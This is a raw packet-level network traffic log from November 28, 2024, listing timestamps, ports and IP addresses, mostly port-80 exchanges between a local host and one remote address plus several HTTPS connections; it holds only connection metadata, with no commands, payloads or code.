Nov 28, 2024 15:17:44.393635988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.393728018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.393781900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.394277096 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.394318104 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.394579887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.394669056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.433149099 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.450135946 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.450164080 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.450206995 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.450244904 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.450259924 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.450274944 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.450303078 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.465085030 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.465145111 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.465172052 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.465188980 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.465208054 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.465224028 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.482068062 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.482091904 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.482109070 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.482157946 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.482229948 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.482285976 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.482310057 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.517775059 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.517810106 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.517827034 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:44.517834902 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:44.520930052 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.520956993 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.521612883 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.522463083 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.522475958 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.540894032 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.540921926 CET	443	49863	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.540935993 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.541007996 CET	49863	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.547796965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.547918081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.548202038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.548288107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.548341036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.548470974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.549268961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.549308062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.549320936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.549590111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.549591064 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.550194025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.550267935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.550318956 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.550339937 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.550371885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.551162958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.551175117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.552016973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.552087069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.552128077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.552958012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.553016901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.553081989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.553355932 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.553365946 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.553518057 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.553523064 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.553855896 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.553859949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.553860903 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.553921938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.553945065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.554778099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.554816008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.554873943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.555680037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.555754900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.555803061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.556624889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.556720018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.557514906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.557575941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.557607889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.558424950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.558531046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.558590889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.559348106 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.559458017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.560252905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.560326099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.560357094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.560406923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.561206102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.561242104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.561367035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.562088966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.562200069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.562244892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.563031912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.563067913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.563263893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.563309908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.563918114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.564026117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.564122915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.564831018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.564882994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.564937115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.564975977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.565768003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.565808058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.565882921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.566663027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.566761971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.566803932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.567588091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.567720890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.567761898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.568490982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.568562984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.568593025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.568650961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.569422007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.569457054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.569466114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.569549084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.570308924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.570358038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.570439100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.570666075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.571250916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.571329117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.571381092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.571427107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.572163105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.572283030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.572324991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.572351933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.572979927 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.573028088 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.573080063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.573153973 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.573191881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.573219061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.573395014 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:44.573412895 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:44.573415041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.573997021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.574126959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.574994087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.575045109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.575176954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.575834990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.575974941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.576023102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.576750040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.576802015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.577600956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.577631950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.577758074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.578578949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.578643084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.578672886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.579489946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.579576969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.579626083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.580405951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.580481052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.580523968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.581300974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.581408978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.581600904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.582261086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.582370996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.582423925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.583198071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.583353996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.584072113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.584121943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.584199905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.584971905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.585091114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.585139990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.585958958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.586057901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.586813927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.586862087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.586884975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.587838888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.587884903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.587915897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.588644028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.588690042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.588742018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.589591980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.589612007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.589726925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.590487003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.590533018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.590615034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.590836048 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.591382980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.591442108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.591471910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.592304945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.592410088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.592475891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.593215942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.593312979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.593605042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.594121933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.594248056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.595046043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.595108986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.595154047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.597026110 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.597641945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.629159927 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.629189968 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.629242897 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.629278898 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.629336119 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.629363060 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.639358044 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.679269075 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.679299116 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.679347992 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.679362059 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.679395914 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.679418087 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.744796038 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:44.744846106 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:44.744970083 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:44.745420933 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:44.745441914 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:44.749154091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.749213934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.749222040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.749264956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.749403000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.749545097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.749581099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.749754906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.750427961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.750478983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.750577927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.750833035 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.750854969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.751250982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.751444101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.751508951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.751918077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.751971960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.752202034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.752254009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.752830982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.753149033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.753586054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.753700972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.754034996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.754674911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.754686117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.754698038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.754734993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.754769087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.755657911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.755723000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.755729914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.755762100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.756536961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.756577969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.756622076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.756634951 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.756674051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.756715059 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.757402897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.757452965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.757527113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.757586002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.758341074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.758398056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.758433104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.758560896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.759237051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.759294033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.759893894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.759946108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.760159016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.760423899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.761130095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.761142015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.761152983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.761194944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.761224031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.761987925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.762031078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.762093067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.762166977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.763071060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.763149023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.763588905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.763638020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.763883114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.763892889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.763953924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.764734983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.764801979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.764961958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.765100956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.765655041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.766022921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.766081095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.766571999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.766628027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.767010927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.767056942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.767467976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.767525911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.767764091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.767817974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.768382072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.768435001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.768603086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.769223928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.769325018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.769378901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.769433975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.769546986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.770273924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.770412922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.770417929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.770456076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.771137953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.771173954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.771519899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.771898031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.772052050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.772118092 CET	49804	80	192.168.2.6	185.215.113.206
